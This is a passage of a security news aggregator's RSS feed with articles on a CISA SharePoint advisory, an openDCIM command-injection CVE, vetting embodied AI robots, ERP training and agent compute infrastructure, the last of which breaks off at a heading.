<p class="wp-block-paragraph">While applying patches remains the immediate priority, security experts caution that organizations should view the advisory as more than another <a href="https://www.csoonline.com/article/4196940/patch-tuesday-roundup-microsoft-fixes-a-monthly-record-569-holes-sap-patches-a-critical-memory-corruption-bug.html">Patch Tuesday</a> exercise.</p>



<p class="wp-block-paragraph">“This is what separates an IT incident from a business crisis,” said <a href="https://www.linkedin.com/in/chrisboehmii/" target="_blank" rel="noreferrer noopener">Chris Boehm</a>, field CTO at Zero Networks. “One compromised SharePoint box is a ticket. That same box, with a clear path to your domain controllers, backups, and file shares, is how you end up with an encrypted infrastructure and a disclosure event. Segmentation stops the first from becoming the second.”</p>



<p class="wp-block-paragraph">CISA’s advisory highlights <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-32201" target="_blank" rel="noreferrer noopener">CVE-2026-332201</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-45659" target="_blank" rel="noreferrer noopener">CVE-2026-45659</a>, and the newly added <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-56164" target="_blank" rel="noreferrer noopener">CVE-2026-56164</a>, all of which have now been confirmed as exploited in the wild and added to the agency’s Known Exploited Vulnerabilities (<a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank" rel="noreferrer noopener">KEV</a>) catalog.</p>



<h2 class="wp-block-heading"><a></a>Exploitation tells a different severity story</h2>



<p class="wp-block-paragraph">The latest addition to CISA’s KEV catalog is CVE-2026-56164, an elevation-of-privilege vulnerability affecting Microsoft SharePoint Server. Although assigned a CVSS score of 5.3, the flaw can be exploited remotely without authentication, making it significantly more dangerous in practice than its severity rating alone suggests.</p>



<p class="wp-block-paragraph">Microsoft has released security updates for supported SharePoint versions and recommended enabling the Antimalware Scan Interface (AMSI) integration to help detect malicious requests associated with exploitation attempts.</p>



<p class="wp-block-paragraph">CISA also advised organizations to follow Microsoft’s incident response <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164" target="_blank" rel="noreferrer noopener">guidance</a>, hunt for indicators of compromise, and rotate SharePoint machine keys where appropriate, acknowledging that patching alone may not fully remove attacker persistence from already compromised servers.</p>



<h2 class="wp-block-heading"><a></a>Older vulnerabilities remain active entry points</h2>



<p class="wp-block-paragraph">Alongside the newly disclosed flaw, CISA reiterated the urgency of addressing CVE-2026-45659, an insecure deserialization vulnerability allowing RCE that Microsoft had marked as “exploitation less likely” in its <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45659" target="_blank" rel="noreferrer noopener">advisory</a> in May. Another old bug CISA flagged is CVE-2026-32201, an improper input validation flaw that allows spoofing over a network.</p>



<p class="wp-block-paragraph">Both of these flaws are being actively exploited in the wild.</p>



<p class="wp-block-paragraph">CISA called out organizations failing to catch up with SharePoint updates, adding that attackers are increasingly targeting N-days rather than relying exclusively on newly discovered zero-days.</p>



<p class="wp-block-paragraph">On concerns of patching speed, Boehm noted resilience is becoming an architectural challenge as much as an operational one.</p>



<p class="wp-block-paragraph">“Stop measuring this in patch speed,” he said. “That’s a race you eventually lose. Some of these landed as zero-days with no fix on day one, and the window between disclosure and exploitation keeps shrinking. So the board-level question isn’t whether a server gets compromised. Assume one will. It’s how much of the business a single-owned system can take down with it.”</p>



<p class="wp-block-paragraph">Boehm argued that limiting network reachability through segmentation should sit alongside patch management and threat hunting as a core defensive strategy. Reachability, he said, is a control that organizations own, not patch timing. CISA has given Federal Civilian Executive Branch (FCEB) agencies three days to remediate CVE-2026-56164 under Binding Operational Directive (<a href="https://www.csoonline.com/article/4183750/cisa-tells-agencies-to-patch-smarter-not-harder-foreshadowing-broader-industry-practice.html">BOD)</a> 22-01.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.csoonline.com/article/4197775/cisa-urges-immediate-sharepoint-hardening-as-exploits-mount.html">CSO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA urges immediate SharePoint hardening as exploits mount]]></title>
<description><![CDATA[The US Cybersecurity and Infrastructure Security Agency (CISA) has urged organizations to immediately secure Microsoft SharePoint deployments after warning that three vulnerabilities affecting the on-premises collaboration platform are being actively exploited.



A recent advisory from the feder...]]></description>
<link>https://tsecurity.de/de/3673418/it-security-nachrichten/cisa-urges-immediate-sharepoint-hardening-as-exploits-mount/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673418/it-security-nachrichten/cisa-urges-immediate-sharepoint-hardening-as-exploits-mount/</guid>
<pubDate>Thu, 16 Jul 2026 14:24:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The US Cybersecurity and Infrastructure Security Agency (CISA) has urged organizations to immediately secure Microsoft SharePoint deployments after warning that three vulnerabilities affecting the on-premises collaboration platform are being actively exploited.</p>



<p class="wp-block-paragraph">A recent <a href="https://www.cisa.gov/news-events/alerts/2026/07/14/cisa-urges-sharepoint-hardening-after-new-exploitations" target="_blank" rel="noreferrer noopener">advisory</a> from the federal cybersecurity watchdog asked administrators to patch vulnerable servers, review Microsoft’s mitigation guidance, and assume that internet-facing SharePoint instances remain attractive targets for attackers seeking an initial foothold into enterprise environments.</p>



<p class="wp-block-paragraph">While applying patches remains the immediate priority, security experts caution that organizations should view the advisory as more than another <a href="https://www.csoonline.com/article/4196940/patch-tuesday-roundup-microsoft-fixes-a-monthly-record-569-holes-sap-patches-a-critical-memory-corruption-bug.html">Patch Tuesday</a> exercise.</p>



<p class="wp-block-paragraph">“This is what separates an IT incident from a business crisis,” said <a href="https://www.linkedin.com/in/chrisboehmii/" target="_blank" rel="noreferrer noopener">Chris Boehm</a>, field CTO at Zero Networks. “One compromised SharePoint box is a ticket. That same box, with a clear path to your domain controllers, backups, and file shares, is how you end up with an encrypted infrastructure and a disclosure event. Segmentation stops the first from becoming the second.”</p>



<p class="wp-block-paragraph">CISA’s advisory highlights <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-32201" target="_blank" rel="noreferrer noopener">CVE-2026-332201</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-45659" target="_blank" rel="noreferrer noopener">CVE-2026-45659</a>, and the newly added <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-56164" target="_blank" rel="noreferrer noopener">CVE-2026-56164</a>, all of which have now been confirmed as exploited in the wild and added to the agency’s Known Exploited Vulnerabilities (<a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank" rel="noreferrer noopener">KEV</a>) catalog.</p>



<h2 class="wp-block-heading"><a></a>Exploitation tells a different severity story</h2>



<p class="wp-block-paragraph">The latest addition to CISA’s KEV catalog is CVE-2026-56164, an elevation-of-privilege vulnerability affecting Microsoft SharePoint Server. Although assigned a CVSS score of 5.3, the flaw can be exploited remotely without authentication, making it significantly more dangerous in practice than its severity rating alone suggests.</p>



<p class="wp-block-paragraph">Microsoft has released security updates for supported SharePoint versions and recommended enabling the Antimalware Scan Interface (AMSI) integration to help detect malicious requests associated with exploitation attempts.</p>



<p class="wp-block-paragraph">CISA also advised organizations to follow Microsoft’s incident response <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164" target="_blank" rel="noreferrer noopener">guidance</a>, hunt for indicators of compromise, and rotate SharePoint machine keys where appropriate, acknowledging that patching alone may not fully remove attacker persistence from already compromised servers.</p>



<h2 class="wp-block-heading"><a></a>Older vulnerabilities remain active entry points</h2>



<p class="wp-block-paragraph">Alongside the newly disclosed flaw, CISA reiterated the urgency of addressing CVE-2026-45659, an insecure deserialization vulnerability allowing RCE that Microsoft had marked as “exploitation less likely” in its <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45659" target="_blank" rel="noreferrer noopener">advisory</a> in May. Another old bug CISA flagged is CVE-2026-32201, an improper input validation flaw that allows spoofing over a network.</p>



<p class="wp-block-paragraph">Both of these flaws are being actively exploited in the wild.</p>



<p class="wp-block-paragraph">CISA called out organizations failing to catch up with SharePoint updates, adding that attackers are increasingly targeting N-days rather than relying exclusively on newly discovered zero-days.</p>



<p class="wp-block-paragraph">On concerns of patching speed, Boehm noted resilience is becoming an architectural challenge as much as an operational one.</p>



<p class="wp-block-paragraph">“Stop measuring this in patch speed,” he said. “That’s a race you eventually lose. Some of these landed as zero-days with no fix on day one, and the window between disclosure and exploitation keeps shrinking. So the board-level question isn’t whether a server gets compromised. Assume one will. It’s how much of the business a single-owned system can take down with it.”</p>



<p class="wp-block-paragraph">Boehm argued that limiting network reachability through segmentation should sit alongside patch management and threat hunting as a core defensive strategy. Reachability, he said, is a control that organizations own, not patch timing. CISA has given Federal Civilian Executive Branch (FCEB) agencies three days to remediate CVE-2026-56164 under Binding Operational Directive (<a href="https://www.csoonline.com/article/4183750/cisa-tells-agencies-to-patch-smarter-not-harder-foreshadowing-broader-industry-practice.html">BOD)</a> 22-01.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[CVE-2026-28517 | openDCIM up to 23.04 Configuration Parameter report_network_map.php exec dot os command injection (EUVD-2026-9098)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in openDCIM up to 23.04. Affected by this vulnerability is the function exec of the file report_network_map.php of the component Configuration Parameter Handler. Executing a manipulation of the argument dot can lead to os command inject...]]></description>
<link>https://tsecurity.de/de/3673234/sicherheitsluecken/cve-2026-28517-opendcim-up-to-2304-configuration-parameter-reportnetworkmapphp-exec-dot-os-command-injection-euvd-2026-9098/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673234/sicherheitsluecken/cve-2026-28517-opendcim-up-to-2304-configuration-parameter-reportnetworkmapphp-exec-dot-os-command-injection-euvd-2026-9098/</guid>
<pubDate>Thu, 16 Jul 2026 13:21:40 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/opendcim">openDCIM up to 23.04</a>. Affected by this vulnerability is the function <code>exec</code> of the file <em>report_network_map.php</em> of the component <em>Configuration Parameter Handler</em>. Executing a manipulation of the argument <em>dot</em> can lead to os command injection.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-28517">CVE-2026-28517</a>. The attack may be performed from remote. There is no available exploit.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[When AI gets a body, it inherits an attack surface]]></title>
<description><![CDATA[Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procur...]]></description>
<link>https://tsecurity.de/de/3673042/it-security-nachrichten/when-ai-gets-a-body-it-inherits-an-attack-surface/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673042/it-security-nachrichten/when-ai-gets-a-body-it-inherits-an-attack-surface/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procurement momentum before security teams receive the artifacts needed to evaluate the system as cyber-physical infrastructure.</p>



<p class="wp-block-paragraph">Before the book, I prepared cloud infrastructure operating in China and the United States for cybersecurity compliance audits and for the Multi-Level Protection Scheme, China’s mandatory security-grading regime that determines whether a system is allowed to operate. That work taught me a lesson I carry into every AI conversation now. You cannot secure what you cannot see into, and the buyer rarely sees in. A demo makes it worse. It shows one task, completed once, under conditions the vendor chose. None of what a security team must evaluate is on screen.</p>



<p class="wp-block-paragraph">This used to be a research-lab problem. It is now a procurement line item. The risk changed when embodied AI moved from a research demo to a purchase order.  Vendors are asking security teams to approve embodied AI before the category has audit evidence, logging norms, supplier transparency or a shared-responsibility model.</p>



<p class="wp-block-paragraph">Embodied AI puts a model inside a machine that operates in the physical world: a robot, an arm, a humanoid. Once a model gains motors, sensors and a body, it ceases to be a software endpoint and becomes a cyber-physical system. It inherits hardware, firmware, a supply chain, an installer and a set of remote-access paths. Every one of those is an attack surface that the demo video doesn’t show. An embodied system is sold like software and behaves like a fleet of networked machinery on your floor.</p>



<p class="wp-block-paragraph">Evaluate these systems across five questions: provenance, access, integrity, evidence and accountability. Here is what each means.</p>



<h2 class="wp-block-heading">Evaluation question #1: Provenance</h2>



<p class="wp-block-paragraph">What is inside, and who controls it? A humanoid is an assembly of actuators, lidar units, battery packs, joint modules and controllers, most from a supply chain the buyer never vetted, each running firmware the buyer cannot read. Software teams already fought this fight, which is why the <a href="https://www.csoonline.com/article/573185/what-is-an-sbom-software-bill-of-materials-explained.html">software bill of materials</a> became standard practice. Lack of transparency creates systemic risk. Embodied systems raise the stakes because the firmware now lives in dozens of parts that move. The risk does not depend on whether the robot is Chinese, American, German or Japanese. It depends on how much of the system the buyer can see: the hardware, firmware, remote-access paths and maintenance relationships behind it.  China installs more industrial robots than any other country and sits near the center of the battery supply chain, as well as parts of the lidar and machine-vision supply base, which these systems draw on. Lidar, short for Light Detection and Ranging, uses pulsed laser beams to map an environment in 3D; machine vision handles optical inspection and guidance. Much of that lineage traces to suppliers your team has no relationship with. This is the hardware and firmware version of the third-party risk <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf">NIST’s supply chain guidance</a> was written for, except that the component has motors. Demand a hardware and firmware bill of materials, then use it. Flag unsigned firmware. Map which supplier holds update authority for each part. Require a way to verify integrity, and treat any component you cannot identify as unmanaged.</p>



<h2 class="wp-block-heading">Evaluation question #2: Access</h2>



<p class="wp-block-paragraph">Who can reach the fleet? Someone installs these machines, someone services them and the vendor pushes software updates.  Where teleoperation is part of the support model, treat it as a privileged remote-access path, not a convenience feature.  Each is a standing path into a machine that moves and lifts. Security teams have seen this story before. Operational Technology (OT) security went mainstream once industrial systems joined IT networks, and the recurring failure is unmanaged remote access that nobody inventoried. According to one industry survey, <a href="https://www.csoonline.com/article/3595787/ot-security-becoming-a-mainstream-concern.html">roughly half of attacks on OT assets originate in an IT network breach</a>. <a href="https://www.cisa.gov/news-events/alerts/2021/01/07/supply-chain-compromise">SolarWinds</a> showed why a trusted update channel deserves scrutiny when one delivered a backdoor to thousands of networks. Embodied systems add the harder part. The compromised endpoint can move. A remote operator on that channel can drive a machine and push code to every unit at once. Treat the fleet like high-value OT. Inventory every remote path, segment it from the production network, default to deny, require signed and verified updates, apply privileged-access controls to vendor maintenance, and treat an always-on teleoperation link as a backdoor until it is governed.</p>



<h2 class="wp-block-heading">Evaluation question #3: Integrity</h2>



<p class="wp-block-paragraph">Whether the machine can be made to misperceive or misbehave. Researchers have shown that <a href="https://www.usenix.org/conference/usenixsecurity20/presentation/sun">lidar spoofing</a> can cause an autonomous system to brake for an obstacle that is not there or miss one that is. The same class of sensor and model manipulation, on a humanoid sharing a floor with people, produces motion, not a wrong answer on a screen. This is where safety engineering and security part ways. Functional safety stops hazardous motion when a component fails. It plans for accidents. Security plans for an adversary. A hardwired safety circuit can stay independent of the control plane, and a good one does. What it does not tell you is how an attacker reached that control plane, altered the model’s inputs or seized the fleet-management path. Ask the vendor to threat-model sensor spoofing and model manipulation as a path to physical motion. Then ask how you will even know it happened. A spoofed sensor does not announce itself. It shows up as a machine acting incorrectly with confidence.</p>



<p class="wp-block-paragraph">Picture the failure in plain terms. A warehouse robot takes a routine vendor update that changes how it navigates. The buyer cannot verify the firmware, cannot identify the supplier of the sensor module and has no logs to distinguish a spoofed sensor from a model error. The machine keeps moving, and no one can say why.</p>



<h2 class="wp-block-heading">Evaluation question #4: Evidence</h2>



<p class="wp-block-paragraph">Whether the claims are true. You have not found an independent audit of embodied-AI field performance, so the uptime and reliability numbers come from the vendor. You are buying a claim, not a track record. Require independently verified uptime, intervention rate and incident history from a named deployment you can call. “Cutting-edge” is not a control.</p>



<h2 class="wp-block-heading">Evaluation question #5: Accountability</h2>



<p class="wp-block-paragraph">Who owns the risk when it fails? Cloud taught security teams shared responsibility the hard way, after years of arguing which side of the line a breach fell on. Embodied AI arrives without that model, and the stakes are physical: the machine can injure someone. In my compliance work, the question that decided everything was always who is accountable when this thing breaks. Put it in the contract. Define the responsibility boundary, an incident-disclosure timeline, a right to audit and liability for physical harm. A vendor who will not commit in writing is showing you who bears the risk.</p>



<p class="wp-block-paragraph">These five questions share one root. For a decade, the security question was whether you could trust what a model generates. The embodied question is who can reach the machine and what they can make it do. A demo answers neither.</p>



<p class="wp-block-paragraph">Before any embodied system reaches your floor, make these five demands of the vendor.</p>



<ul class="wp-block-list">
<li><strong>Provenance. </strong>A hardware and firmware bill of materials with named suppliers, integrity verification and a vulnerability-disclosure record. No bill of materials, no deal.</li>



<li><strong>Access. </strong>A full map of who installs, who services and every update and teleoperation path, with segmentation, default-deny and signed updates required.</li>



<li><strong>Integrity. </strong>A threat model for sensor spoofing and model manipulation that treats the failure as physical motion, plus logging that a defender can use.</li>



<li><strong>Evidence. </strong>Independently verified uptime, intervention and incident history from a named deployment you can call.</li>



<li><strong>Accountability. </strong>A contract that defines the responsibility boundary, incident-disclosure timelines, audit rights and liability for physical harm.</li>
</ul>



<p class="wp-block-paragraph">The robot demo is built to make you feel the future has arrived. My job, and now yours, is the unglamorous question behind it. Ask what the machine’s attack surface looks like once it is bolted to your floor, wired to your network and updated by someone you have never met.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Why your ERP training program is failing your employees]]></title>
<description><![CDATA[I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the s...]]></description>
<link>https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.</p>



<p class="wp-block-paragraph">In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.</p>



<p class="wp-block-paragraph">I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should <a href="https://www.cio.com/article/4181808/stop-blaming-your-erp-vendor.html">stop blaming their ERP vendor when implementations fail</a>. That argument still stands. But the training problem is a choice the organization makes. <a href="https://ecosire.com/blog/erp-user-training-best-practices-guide">Most organizations spend less than 5% of their total ERP project budget on training</a> and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.</p>



<p class="wp-block-paragraph">After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.</p>



<h2 class="wp-block-heading">Why vendor training falls short</h2>



<p class="wp-block-paragraph">Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.</p>



<p class="wp-block-paragraph">That gap matters more than most organizations realize. <a href="https://www.prosci.com/blog/why-do-erp-implementations-fail">Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure</a>, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.</p>



<p class="wp-block-paragraph">Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.</p>



<p class="wp-block-paragraph">A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.</p>



<p class="wp-block-paragraph">There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.</p>



<h2 class="wp-block-heading">What internal expertise looks like in practice</h2>



<p class="wp-block-paragraph">In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.</p>



<p class="wp-block-paragraph">The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.</p>



<p class="wp-block-paragraph">This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.</p>



<p class="wp-block-paragraph">There is also an ownership dimension that is easy to underestimate. <a href="https://www.workday.com/en-us/perspectives/hr/erp-training-tips-best-practices.html">Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities</a> in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.</p>



<p class="wp-block-paragraph">I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.</p>



<p class="wp-block-paragraph">In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.</p>



<h2 class="wp-block-heading">How to build internal training capability before go-live</h2>



<p class="wp-block-paragraph">The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.</p>



<h3 class="wp-block-heading">Identify departmental experts early</h3>



<p class="wp-block-paragraph">Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.</p>



<h3 class="wp-block-heading">Involve them in the implementation, not just the training</h3>



<p class="wp-block-paragraph">The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.</p>



<h3 class="wp-block-heading">Design training around the job, not the system</h3>



<p class="wp-block-paragraph">Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.</p>



<h3 class="wp-block-heading">Plan for post-go-live support, not just pre-go-live training</h3>



<p class="wp-block-paragraph">The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.</p>



<p class="wp-block-paragraph">None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.</p>



<p class="wp-block-paragraph">The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



